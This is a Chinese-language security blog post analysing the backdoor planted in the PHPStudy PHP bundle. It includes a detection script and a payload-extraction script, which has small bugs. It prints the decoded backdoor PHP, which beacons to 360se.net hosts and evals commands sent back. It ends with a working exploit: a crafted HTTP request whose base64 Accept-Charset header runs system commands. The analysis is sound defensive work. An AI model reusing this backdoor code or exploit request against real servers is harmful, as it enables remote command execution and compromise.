PHPStudy后门植入代码和利用分析
PHPStudy软件是国内的一款免费的PHP调试环境集成包,一般在本机调试情况下使用,当然也有一些企业在生产中也可能使用。该后门首先由ChaMd5安全团队发布监测方法和后门位置。该软件被恶意攻击者攻击,注入了后门,通过远程控制抓取账号密码等信息传固定服务器上。
要检查安装的phpstudy是否有漏洞,可以使用下面脚本(安识安全团队撰写的,不重复造轮子了)
#encoding:utf-8
#uthor__='安识科技安全服务团队'
#date__='2019/09/23'
import sys
reload(sys)
import os
import re
sys.setdefaultencoding('utf8')
def check_file(filename):
backdoor="@eval(%s('%s'))" # 后门特征
lines = 0
presence = False #默认为无
if filename.endswith('.dll'): # 筛选dll文件
with open(filename, "rb") as backdoors:
for line in backdoors:
if backdoor in line:
presence = True
break
lines += 1
return presence, lines
def Check_Vul(PHPStudy_DIR):
# 检查目录
for dirs,note, filenames in os.walk(PHPStudy_DIR):
for filename in filenames:
Check_File = os.path.join(dirs, filename)
check_res, Row = check_file(Check_File)
if check_res:
print("Find backdoor {0} keyboard line: {1}".format(Check_File, Row))
pass
if __name__ == '__main__':
if len(sys.argv) != 2:
print("Instructions:[PHPStudy安装目录]")
sys.exit(1)
else:
Check_Vul(sys.argv[1])
输入执行Python check.py d:\phpstudy,发现包含后门(由于杀毒软件会删除包含后门的这个dll文件,所以备份多个)
也可以自行通过IDA等工具在dll中搜索@eval关键字,如果找到两处,则说明是包含后门版本。
可以搜索到在text段10003566和10003636两处。eval是JavaScript函数,可计算某个字符串,并执行其中的javascript代码。从地址上来看,第一个%s应该是一个要执行的函数名称。
按下F5,得到反汇编后的C语言代码
跟gzuncompress函数有关,该函数是PHP下解压缩函数,可能是处理哪里输入的压缩数据,解压后执行。双击gzuncompress则跳转到下面
可以看到gzuncompress(1000D018是gzuncompress函数)下面有一大段数据,每四个字节中只使用了高一位。判断从1000D028到1000D66C为zlib压缩的payload。后门代码检查请求头,当满足要求后,会获取压缩的payload,然后执行@eval(gzuncompress(payload)),
下面是微云情报局给出的解析压缩代码的python脚本。分析脚本:
# -*- coding:utf-8 -*-
# !/usr/bin/env python
下面是微云情报局给出的解析压缩代码的python脚本。分析脚本:
# -*- coding:utf-8 -*-
# !/usr/bin/env python
下面是微云情报局给出的解析压缩代码的python脚本。分析脚本:
# -*- coding:utf-8 -*-
# !/usr/bin/env python
import os
import sys,string, shutil, re
import base64
import struct
import pefile
import ctypes
import zlib
# import put_family_c2
def hexdump(src, length=16):
FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
lines = []
for c in xrange(0, len(src), length):
chars = src[c:c + length]
hex = ' '.join(["%02x" % ord(x) for x in chars])
printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])
lines.append("%04x %-*s %s\n" % (c, length * 3, hex, printable))
return ''.join(lines)
def descrypt(data):
try:
# data = base64.encodestring(data)
# print(hexdump(data))
num = 0
data = zlib.decompress(data)
# return result
return (True, result)
except Exception as e:
print(e)
return (False, "")
def GetSectionData(pe, Section):
try:
ep = Section.VirtualAddress
ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase
data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize]
# print(hexdump(data))
return data
except Exception, e:
return None
def GetSecsions(PE):
try:
for section in PE.sections:
# print(hexdump(section.Name))
if (section.Name.replace('\x00', '') == '.data'):
data = GetSectionData(PE, section)
# print(hexdump(data))
return (True, data)
return (False, "")
except Exception as e:
return (False,"")
def get_encodedata(filename):
pe = pefile.PE(filename)
(ret, data) = GetSecsions(pe)
if ret:
flag = "gzuncompress"
offset = data.find(flag)
data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("\x00\x00\x00", "")
decodedata_1 = zlib.decompress(data[:0x191])
print(hexdump(data[0x191:]))
decodedata_2 = zlib.decompress(data[0x191:])
with open("decode_1.txt", "w") as hwrite:
hwrite.write(decodedata_1)
hwrite.close
with open("decode_2.txt", "w") as hwrite:
hwrite.write(decodedata_2)
hwrite.close
if __name__ == "__main__":
print(sys.argv[1])
get_encodedata(sys.argv[1])
脚本执行,得到文件一个文件
python py3.py D:\phpStudy\php\php-5.4.45\ext\php_xmlrpc1.dll
分析出:
@eval( base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ=='));
Base64编码的代码如下:
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ==
通过在线工具解码如下:
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
另一段代码通过在线base64解码:
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n");
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024);
$info = stream_get_meta_data($handle);
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
$n = false;
foreach ($ds as $d){
$b = false;
foreach ($ps as $p){
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
截图第一段代码解码:
截图另一段代码解码:
那么该后门是如何被利用的呢?
随便编写一个PHP代码,php.php
例如:
<?php
$str="hello phpstudy!";
echo $str;
?>
启动包含后门的phpstudy集成环境,通过访问php.php,抓一个请求报文,可使用Fiddler抓包,得到下面请求报文:
GET http://127.0.0.1/php.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cache-Control: no-cache
Pragma: no-cache
DNT: 1
Connection: keep-alive
Content-Length: 2
对报文进行修改,注意deflate前面有一个空格必须删除,添加执行(windows或Linux)命令的语句,需要把命令通过base64编码,例如windows下查看网络用户net user命令,可以使用system('net user');语句,通过base64编码为:c3lzdGVtKCduZXQgdXNlcicpOw== 放在Accept-Charset:后面,具体如下。
GET http://127.0.0.1/php.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Encoding: gzip,deflate
Accept-Charset: c3lzdGVtKCduZXQgdXNlcicpOw==
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cache-Control: no-cache
Pragma: no-cache
DNT: 1
Connection: keep-alive
Content-Length: 2
在Fiddler中执行上面报文,则可以看到
执行返回报文如下,其中\\COBOT-FREEMAN下面便是当前电脑账号(中文在Fiddler显示有可能出现乱码)。
关注安全 关注作者
(完)